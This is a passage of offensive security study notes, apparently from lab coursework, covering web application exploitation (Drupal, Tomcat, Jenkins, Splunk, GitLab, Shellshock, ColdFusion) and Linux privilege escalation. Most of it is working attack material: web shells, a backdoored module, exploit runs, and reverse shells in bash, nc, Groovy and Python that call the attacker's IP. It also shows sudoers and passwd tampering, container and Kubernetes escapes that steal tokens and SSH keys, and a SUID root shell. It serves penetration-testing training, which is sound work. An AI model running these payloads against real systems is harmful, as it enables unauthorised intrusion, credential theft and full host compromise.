```shell-session
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
```

Backdoored module — download [CAPTCHA](https://www.drupal.org/project/captcha):

```shell-session
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```

Create a `.htaccess` file to allow access (Drupal denies direct `/modules` access):

```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```

Copy the shell and .htaccess to the captcha folder and archive:

```shell-session
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```

Execute commands after installing the module:

```shell-session
curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id
```

Drupalgeddon — [CVE-2014-3704](https://www.drupal.org/SA-CORE-2014-005), [CVE-2018-7600](https://www.drupal.org/sa-core-2018-002) (Drupalgeddon2), [CVE-2018-7602](https://cvedetails.com/cve/CVE-2018-7602/) (Drupalgeddon3).

Drupalgeddon:

```shell-session
python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd
```

Drupalgeddon2 ([exploit/multi/http/drupal\_drupageddon](https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon/), [PoC](https://www.exploit-db.com/exploits/44448)):

```shell-session
python3 drupalgeddon2.py
```

> *\[Screenshot: Pasted image 20260130213850.png]*

```shell-session
curl -s http://drupal-dev.inlanefreight.local/hello.txt
```

Base64-encode a malicious PHP file:

```shell-session
echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' | base64
```

Write it out in the exploit:

```shell-session
echo "PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K" | base64 -d | tee mrb3n.php
```

```shell-session
python3 drupalgeddon2.py
```

```shell-session
curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id
```

[Drupalgeddon3](https://github.com/rithchard/Drupalgeddon3) — authenticated RCE (needs a valid session cookie). Metasploit module setup:

```
set rhosts 10.129.42.195
set VHOST drupal-acc.inlanefreight.local
set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
set DRUPAL_NODE 1
set LHOST 10.10.14.15
show options
```

#### Tomcat

```shell-session
curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat
```

General Tomcat folder structure:

```shell-session
├── bin
├── conf
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib
├── logs
├── temp
├── webapps
│   ├── manager
│   │   ├── images
│   │   ├── META-INF
│   │   └── WEB-INF
|   |       └── web.xml
│   └── ROOT
│       └── WEB-INF
└── work
    └── Catalina
        └── localhost
```

Each `webapps` folder structure:

```shell-session
webapps/customapp
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
    ├── jsp
    |   └── admin.jsp
    └── web.xml
    └── lib
    |    └── jdbc_drivers.jar
    └── classes
        └── AdminServlet.class
```

Locate `/manager` and `/host-manager`:

```shell-session
gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
```

Metasploit brute-forcing module: <https://www.rapid7.com/db/modules/auxiliary/scanner/http/tomcat_mgr_login/>

```
set VHOST web01.inlanefreight.local
set RPORT 8180
set stop_on_success true
set rhosts 10.129.201.58
```

[Python brute forcer](https://github.com/b33lz3bub-1/Tomcat-Manager-Bruteforce):

```shell-session
python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
```

Deploy a WAR file containing a JSP web shell (<https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp>):

```java
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>
```

```shell-session
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
```

```shell-session
curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id
```

Generate a malicious WAR with msfvenom ([java/jsp\_shell\_reverse\_tcp](https://github.com/iagox86/metasploit-framework-webexec/blob/master/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb)):

```shell-session
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war
```

```shell-session
nc -lnvp 4443
```

[Lightweight JSP web shell](https://github.com/SecurityRiskAdvisors/cmd.jsp) uses a Bookmarklet to minimize footprint.

Ghostcat ([CVE-2020-1938](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938)) — unauthenticated LFI on the AJP service (port 8009). [PoC](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi):

```shell-session
python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml
```

#### Jenkins

[Jenkins](https://www.jenkins.io/) runs on Tomcat port 8080 by default (5000 for slave servers). Script console reverse shell:

```groovy
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

Or the [jenkins\_script\_console](https://web.archive.org/web/20230326230234/https://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console/) Metasploit module. Against Windows, run commands:

```groovy
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
```

[Java reverse shell](https://gist.githubusercontent.com/frohoff/fed1ffaab9b9beeb1c76/raw/7cfa97c7dc65e2275abfb378101a505bfb754a95/revsh.groovy) for Windows:

```groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

#### Splunk

Use [this Splunk package](https://github.com/0xjpuff/reverse_shell_splunk) ([Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) / [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) examples). Directory structure:

```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
2 directories, 0 files
```

[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf):

```shell-session
cat inputs.conf 
[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```

The `.bat` file that runs the PowerShell one-liner:

```shell-session
@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit
```

Create a tarball / `.spl` file:

```shell-session
tar -cvzf updater.tar.gz splunk_shell/
```

Linux `rev.py`:

```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```

#### PRTG Network Monitor

```shell-session
curl -s http://10.129.201.50:8080/index.htm -A "Mozilla/5.0 (compatible;  MSIE 7.01; Windows NT 5.0)" | grep version
```

#### osTicket

Discover credentials with [Dehashed](http://dehashed.com/):

```shell-session
sudo python3 dehashed.py -q inlanefreight.local -p
```

Use [linkedin2username](https://github.com/initstring/linkedin2username) to build a user list for password spraying against the VPN endpoint.

#### GitLab

Enumerate valid users with [this exploit](https://www.exploit-db.com/exploits/49821) ([Python3 version](https://github.com/dpgg101/GitLabUserEnum)):

```shell-session
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
```

Authenticated RCE with [this exploit](https://www.exploit-db.com/exploits/49951):

```shell-session
python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f '
```

#### CGI / Shellshock

Fuzz for CGI scripts:

```shell-session
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.cmd
```

```shell-session
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
```

First find a valid CGI script (e.g. `http://10.129.204.227:8080/cgi/welcome.bat`), then use CVE-2019-0232 for command injection.

Hunt for CGI scripts with `Gobuster`:

```shell-session
gobuster dir -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
```

```shell-session
curl -i http://10.129.204.231/cgi-bin/access.cgi
```

Check for Shellshock via the user-agent field:

```shell-session
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.204.231/cgi-bin/access.cgi
```

Get a reverse shell:

```shell-session
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
```

Mitigation blog: <https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability>

#### Attacking Thick Client Applications

Info-gathering tools: <https://ntcore.com/explorer-suite/> · [Procmon](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon) · [Strings](https://learn.microsoft.com/en-us/sysinternals/downloads/strings). More: [dnSpy](https://github.com/dnSpy/dnSpy) · [OllyDbg](https://www.ollydbg.de/) · [radare2](https://www.radare.org/n/) · [x64dbg](https://x64dbg.com/) · [jadx](https://github.com/skylot/jadx) · [Frida](https://frida.re/) · [Ghidra](https://github.com/NationalSecurityAgency/ghidra) · [IDA Pro](https://hex-rays.com/ida-pro)

#### Attacking ColdFusion

```shell-session
searchsploit adobe coldfusion
```

```shell-session
cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .
```

```shell-session
python2 14641.py
```

CVE-2010-2861 LFI:

```shell-session
python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
```

CVE-2009-2265 RCE (`Adobe ColdFusion 8 - RCE`):

```shell-session
searchsploit -p 50057
```

```shell-session
cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .
```

```shell-session
python3 50057.py
```

#### IIS Tilde Enumeration

[IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) (needs Oracle Java — [install guide](https://ubuntuhandbook.org/index.php/2022/03/install-jdk-18-ubuntu/)):

```shell-session
java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/
```

Generate Wordlist:

```shell-session
egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
```

Enumerate with `gobuster`:

```shell-session
gobuster dir -u http://10.129.204.231/ -w /tmp/list.txt -x .aspx,.asp
```

#### LDAP

`ldapsearch` example:

```shell-session
ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "(mail=john.doe@example.com)"
```

Breakdown: connect to `ldap.example.com:389`; bind as `cn=admin,dc=example,dc=com` with password `secret123`; search under `ou=people,dc=example,dc=com`; filter `(mail=john.doe@example.com)`.

#### Other Notable Applications

| Application                                                                 | Abuse Info                                                                                                                                                                                                                                                                                                                                                        |
| --------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [Axis2](https://axis.apache.org/axis2/java/core/)                           | Similar to Tomcat, often on top of it. Check for weak/default admin creds and upload a [webshell](https://github.com/tennc/webshell/tree/master/other/cat.aar) as an AAR file. Also a Metasploit [module](https://packetstormsecurity.com/files/96224/Axis2-Upload-Exec-via-REST.html).                                                                           |
| [Websphere](https://en.wikipedia.org/wiki/IBM_WebSphere_Application_Server) | Many [vulnerabilities](https://www.cvedetails.com/vulnerability-list/vendor_id-14/product_id-576/cvssscoremin-9/cvssscoremax-/IBM-Websphere-Application-Server.html). Default creds `system:manager` → deploy a WAR file for RCE.                                                                                                                                 |
| [Elasticsearch](https://en.wikipedia.org/wiki/Elasticsearch)                | Various [vulnerabilities](https://www.exploit-db.com/exploits/36337). HTB machine [Haystack](https://youtube.com/watch?v=oGO9MEIz_tI\&t=54).                                                                                                                                                                                                                      |
| [Zabbix](https://en.wikipedia.org/wiki/Zabbix)                              | SQLi, auth bypass, stored XSS, LDAP password disclosure, RCE. HTB box [Zipper](https://youtube.com/watch?v=RLvFwiDK_F8\&t=250) uses the Zabbix API for RCE.                                                                                                                                                                                                       |
| [Nagios](https://en.wikipedia.org/wiki/Nagios)                              | RCE, root priv esc, SQLi, code injection, stored XSS. Check default creds `nagiosadmin:PASSW0RD`.                                                                                                                                                                                                                                                                 |
| [WebLogic](https://en.wikipedia.org/wiki/Oracle_WebLogic_Server)            | 190+ [CVEs](https://www.cvedetails.com/vulnerability-list/vendor_id-93/product_id-14534/Oracle-Weblogic-Server.html); many unauthenticated Java Deserialization RCEs.                                                                                                                                                                                             |
| Wikis/Intranets                                                             | MediaWiki, custom intranet, SharePoint. Check for known vulns and document repositories/search functionality.                                                                                                                                                                                                                                                     |
| [DotNetNuke](https://en.wikipedia.org/wiki/DNN_\(software\))                | Auth bypass, directory traversal, stored XSS, file upload bypass, arbitrary file download.                                                                                                                                                                                                                                                                        |
| [vCenter](https://en.wikipedia.org/wiki/VCenter)                            | Check for weak creds and [Apache Struts 2 RCE](https://blog.gdssecurity.com/labs/2017/4/13/vmware-vcenter-unauthenticated-rce-using-cve-2017-5638-apach.html), [unauthenticated OVA upload](https://www.rapid7.com/db/modules/exploit/multi/http/vmware_vcenter_uploadova_rce/), [CVE-2021-22005](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22005). |

Application-Specific Hardening Tips:

| Application                                                                                                               | Category              | Discussion                                                                                                   |
| ------------------------------------------------------------------------------------------------------------------------- | --------------------- | ------------------------------------------------------------------------------------------------------------ |
| [WordPress](https://wordpress.org/support/article/hardening-wordpress/)                                                   | Security monitoring   | Use a plugin like [WordFence](https://www.wordfence.com/).                                                   |
| [Joomla](https://docs.joomla.org/Security_Checklist/Joomla!_Setup)                                                        | Access controls       | Use [AdminExile](https://extensions.joomla.org/extension/adminexile/) to require a secret key.               |
| [Drupal](https://www.drupal.org/docs/security-in-drupal)                                                                  | Access controls       | Disable, hide, or move the [admin login page](https://www.drupal.org/docs/7/managing-users/hide-user-login). |
| [Tomcat](https://tomcat.apache.org/tomcat-9.0-doc/security-howto.html)                                                    | Access controls       | Limit Manager/Host-Manager to localhost; IP whitelist; strong creds.                                         |
| [Jenkins](https://www.jenkins.io/doc/book/security/securing-jenkins/)                                                     | Access controls       | Configure the [Matrix Authorization Strategy plugin](https://plugins.jenkins.io/matrix-auth).                |
| [Splunk](https://docs.splunk.com/Documentation/Splunk/8.2.2/Security/Hardeningstandards)                                  | Regular updates       | Change default password; ensure proper licensing to enforce auth.                                            |
| [PRTG](https://helpdesk.paessler.com/en/support/solutions/articles/76000062446-what-security-features-does-prtg-include-) | Secure authentication | Stay up-to-date and change the default password.                                                             |
| osTicket                                                                                                                  | Access controls       | Limit access from the internet if possible.                                                                  |
| [GitLab](https://about.gitlab.com/blog/2020/05/20/gitlab-instance-security-best-practices/)                               | Secure authentication | Enforce sign-up restrictions.                                                                                |

***

### Linux Privilege Escalation

Cheat sheets: <https://github.com/RajChowdhury240/OSCP-CheatSheet/blob/main/Linux%20-%20Privilege%20Escalation.md> · <https://github.com/Ignitetechnologies/Linux-Privilege-Escalation> · <https://morgan-bin-bash.gitbook.io/linux-privilege-escalation> · [LinEnum](https://github.com/rebootuser/LinEnum)

List Current Processes:

```shell-session
ps aux | grep root
```

```shell-session
ps au
```

Home Directory Contents:

```shell-session
ls /home
```

Bash History:

```shell-session
history
```

Sudo - List User's Privileges:

```shell-session
sudo -l
```

Cron Jobs:

```shell-session
ls -la /etc/cron.daily/
```

File Systems & Additional Drives:

```shell-session
lsblk
```

Find Writable Directories:

```shell-session
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
```

Find Writable files:

```shell-session
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
```

OS & version:

```shell-session
cat /etc/os-release
```

Echo the environment PATH:

```shell-session
echo $PATH
```

All environment variables:

```shell-session
env
```

Kernel version:

```shell-session
uname -a
cat /proc/version
```

CPU info:

```shell-session
lscpu
```

Login shells on the server:

```shell-session
cat /etc/shells
```

Defenses to look for: [Exec Shield](https://en.wikipedia.org/wiki/Exec_Shield), [iptables](https://linux.die.net/man/8/iptables), [AppArmor](https://apparmor.net/), [SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux), [Fail2ban](https://github.com/fail2ban/fail2ban), [Snort](https://www.snort.org/faq/what-is-snort), [ufw](https://wiki.ubuntu.com/UncomplicatedFirewall).

`lsblk` = list block devices:

```shell-session
lsblk
```

Mounted drives:

```shell-session
cat /etc/fstab
```

ARP table:

```shell-session
arp -a
```

#### Environment Enumeration

passwd file:

```shell-session
cat /etc/passwd | cut -f1 -d:
```

> *\[Screenshot: Pasted image 20250430161437.png]*

Enumerate shells on the machine:

```shell-session
grep "*sh$" /etc/passwd
```

Existing Groups:

```shell-session
cat /etc/group
```

List members of a group with [getent](https://man7.org/linux/man-pages/man1/getent.1.html):

```shell-session
getent group sudo
```

Mounted File Systems:

```shell-session
df -h
```

Unmounted File Systems:

```shell-session
cat /etc/fstab | grep -v "#" | column -t
```

All Hidden Files:

```shell-session
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep htb-student
```

All Hidden Directories:

```shell-session
find / -type d -name ".*" -ls 2>/dev/null
```

Temporary Files:

```shell-session
ls -l /tmp /var/tmp /dev/shm
```

If sudo on `ncdu` (see <https://gtfobins.github.io/gtfobins/ncdu/>):

```bash
sudo -u#-1 /bin/ncdu
```

Network Interfaces:

```shell-session
ip a
```

hosts:

```shell-session
cat /etc/hsots
```

User's Last Login:

```shell-session
lastlog
```

Who else is on the system:

```shell-session
w
```

Bash history:

```shell-session
history
```

Finding History Files:

```shell-session
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null
```

Cron jobs checking:

```shell-session
ls -la /etc/cron.daily/
```

The [proc filesystem](https://man7.org/linux/man-pages/man5/proc.5.html):

```shell-session
find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"
```

#### Services & Installed Packages

Installed Packages:

```shell-session
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
```

Sudo Version:

```shell-session
sudo -V
```

Binaries:

```shell-session
ls -l /bin /usr/bin/ /usr/sbin/
```

[GTFObins](https://gtfobins.github.io/) — compare installed binaries against GTFObins. HTB one-liner (may not work for everyone):

```shell-session
for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done
```

Modified, working version:

```bash
for bin in $(curl -s https://gtfobins.github.io/ | grep -oP '(?<=href="/gtfobins/)[^/"]+(?=/)' | sort -u); do grep -qw "$bin" installed_pkgs.list && echo "Check GTFO for: $bin"; done
```

Trace System Calls with `strace`:

```shell-session
strace ping -c1 10.129.112.20
```

#### Configuration Files

```shell-session
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null
```

Scripts:

```shell-session
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
```

Running Services by User:

```shell-session
ps aux | grep root
```

MySQL credentials within WordPress config:

```shell-session
cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'
grep 'DB_USER\|DB_PASSWORD' wp-config.php
```

Find config files broadly:

```shell-session
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
```

#### PATH Abuse

Check the PATH variable:

```bash
env | grep PATH
echo $PATH
```

Add `.` to the path and export it:

```shell-session
PATH=.:${PATH}
export PATH
echo $PATH
```

Modify the path to run a command when `ls` is typed:

```bash
touch ls
echo 'echo "PATH ABUSE!!"' > ls
chmod +x ls
```

#### Wildcard Abuse

| **Character** | **Significance**                                      |
| ------------- | ----------------------------------------------------- |
| `*`           | Matches any number of characters in a file name.      |
| `?`           | Matches a single character.                           |
| `[ ]`         | Matches any single character at the defined position. |
| `~`           | Expands to the user's home directory.                 |
| `-`           | A range of characters within brackets.                |

Tar wildcard injection vulnerability — relies on someone later running `tar -cf archive.tar *`:

```bash
echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1
```

> *\[Screenshot: Pasted image 20250430201027.png]*

#### Escaping Restricted Shells

Restricted shells: [rbash](https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html), [rksh](https://www.ibm.com/docs/en/aix/7.2?topic=r-rksh-command), [rzsh](https://manpages.debian.org/experimental/zsh/rzsh.1.en.html).

Escaping via command injection:

```shell-session
ls -l `pwd`
```

#### Special Permissions (SUID / SGID)

See [special permissions reference](https://linuxconfig.org/how-to-use-special-permissions-the-setuid-setgid-and-sticky-bits).

Find SUID binaries:

```shell-session
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
```

Find SGID binaries:

```shell-session
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
```

[GTFOBins](https://gtfobins.github.io/) — e.g. `apt-get` Pre-Invoke:

```shell-session
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
```

#### Sudo Rights Abuse

```shell-session
sudo -l
```

`tcpdump` — execute a shell script with `-z`:

```shell-session
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
```

The reverse shell script:

```shell-session
cat /tmp/.test
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
```

#### Privileged Groups — LXC / LXD

Membership of the `lxd`/`lxc` group can be used to escalate privileges. Confirm membership:

```shell-session
id
```

Unzip the Alpine image:

```shell-session
unzip alpine.zip
```

Start the LXD initialization (see [this post](https://www.digitalocean.com/community/tutorials/how-to-set-up-and-use-lxd-on-ubuntu-16-04)):

```shell-session
devops@NIX02:~$ lxd init
```

Import the local image:

```shell-session
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
```

Start a privileged container:

```shell-session
lxc init alpine r00t -c security.privileged=true
```

Mount the host file system:

```shell-session
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
```

Spawn a shell inside the container:

```shell-session
lxc start r00t
lxc exec r00t /bin/sh
```

#### Privileged Groups — Docker

Members of the docker group can spawn new containers, e.g. `docker run -v /root:/mnt -it ubuntu` mounts `/root` as a volume.

#### Capabilities

Set a capability example:

```shell-session
sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic
```

Capabilities of interest include `cap_sys_admin`, `cap_sys_chroot`, `cap_sys_ptrace`, `cap_sys_nice`, `cap_sys_time`, `cap_sys_resource`, `cap_sys_module`, `cap_net_bind_service`, `cap_setuid`, `cap_setgid`, `cap_dac_override`.

Capability values: `=` (clear), `+ep` (effective+permitted), `+ei` (effective+inheritable), `+p` (permitted only).

Enumerating Capabilities:

```shell-session
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
```

Abuse `cap_dac_override` on `/usr/bin/vim` to modify a system file:

```shell-session
/usr/bin/vim.basic /etc/passwd
```

Non-interactive:

```shell-session
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
cat /etc/passwd | head -n1
```

#### Cron Jobs

Find world-writable files (skipping /proc):

```shell-session
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
```

Confirm a cron job with [pspy](https://github.com/DominicBreuker/pspy):

```shell-session
./pspy64 -pf -i 1000
```

#### Containers (LXC / LXD / Docker)

Confirm group membership:

```shell-session
id
```

Import a container as an image:

```shell-session
lxc image import ubuntu-template.tar.xz --alias ubuntutemp
lxc image list
```

Initiate and configure with `security.privileged`:

```shell-session
lxc init ubuntutemp privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```

Start and access the host's resources as root:

```shell-session
lxc start privesc
lxc exec privesc /bin/bash
ls -l /mnt/root
```

Docker Shared Directories — enumerate non-standard directories:

```shell-session
cd /hostsystem/home/cry0l1t3
ls -l
```

Download the [docker binary](https://master.dockerproject.com/linux/x86_64/docker) and interact with the socket:

```shell-session
htb-student@container:/tmp$ wget https://<parrot-os>:443/docker -O docker
htb-student@container:/tmp$ chmod +x docker
htb-student@container:/tmp$ ls -l
htb-student@container:~/tmp$ /tmp/docker -H unix:///app/docker.sock ps
```

Create a container mapping the host root to `/hostsystem`:

```shell-session
htb-student@container:/app$ /tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
htb-student@container:~/app$ /tmp/docker -H unix:///app/docker.sock ps
```

Log into the new privileged container:

```shell-session
/tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash
```

List images:

```shell-session
docker image ls
```

Writable Docker socket (usually `/var/run/docker.sock`):

```shell-session
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash
```

#### Kubernetes (K8s)

Kubernetes is a container orchestration platform. Analyze pods:

```shell-session
kubeletctl -i --server 10.129.10.11 pods
```

Scan for RCE:

```shell-session
kubeletctl -i --server 10.129.10.11 scan rce
```

Interact with a container:

```shell-session
kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx
```

Obtain the service account token and certificate with [kubeletctl](https://github.com/cyberark/kubeletctl):

```shell-session
kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token
```

Extracting Certificates:

```shell-session
kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt
```

Check access rights:

```shell-session
export token=`cat k8.token`
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list
```

Create a pod that mounts the host root filesystem (`privesc.yaml`):

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true
```

Create the pod and verify:

```shell-session
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml
```

```shell-session
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods
```

Retrieve sensitive data (e.g. root's SSH key):

```shell-session
kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc
```

#### Logrotate

<https://medium.com/@ihouelecaurcy/linux-privilege-escalation-exploiting-logrotate-race-condition-for-root-access-htb-3970e4c1eba8> — requirements: write permissions on the log files; logrotate runs as root; vulnerable versions 3.8.6, 3.11.0, 3.15.0, 3.18.0. Use [logrotten](https://github.com/whotwagner/logrotten):

```shell-session
git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten
```

Prepare a payload:

```shell-session
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
```

Determine which option logrotate uses:

```shell-session
grep "create\|compress" /etc/logrotate.conf | grep -v "#"
```

Run netcat:

```shell-session
nc -nlvp 9001
```

Run the exploit:

```shell-session
./logrotten -p ./payload /tmp/tmp.log
```

#### Weak NFS Privileges

NFS uses TCP/UDP port 2049. List remote mounts:

```shell-session
showmount -e 10.129.2.12
```

Create a SETUID binary that executes `/bin/sh`:

```shell-session
cat shell.c 
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}
```

```shell-session
gcc shell.c -o shell
```

Mount, copy, and set the SUID bit:

```shell-session
sudo mount -t nfs 10.129.2.12:/tmp /mnt
cp shell /mnt
chmod u+s /mnt/shell
```

Execute the binary from the low-priv session:

```shell-session
./shell
```

#### Hijacking Tmux Sessions

```shell-session
tmux -S /shareds new -s debugsess
chown root:devs /shareds
```

Check for running tmux processes:

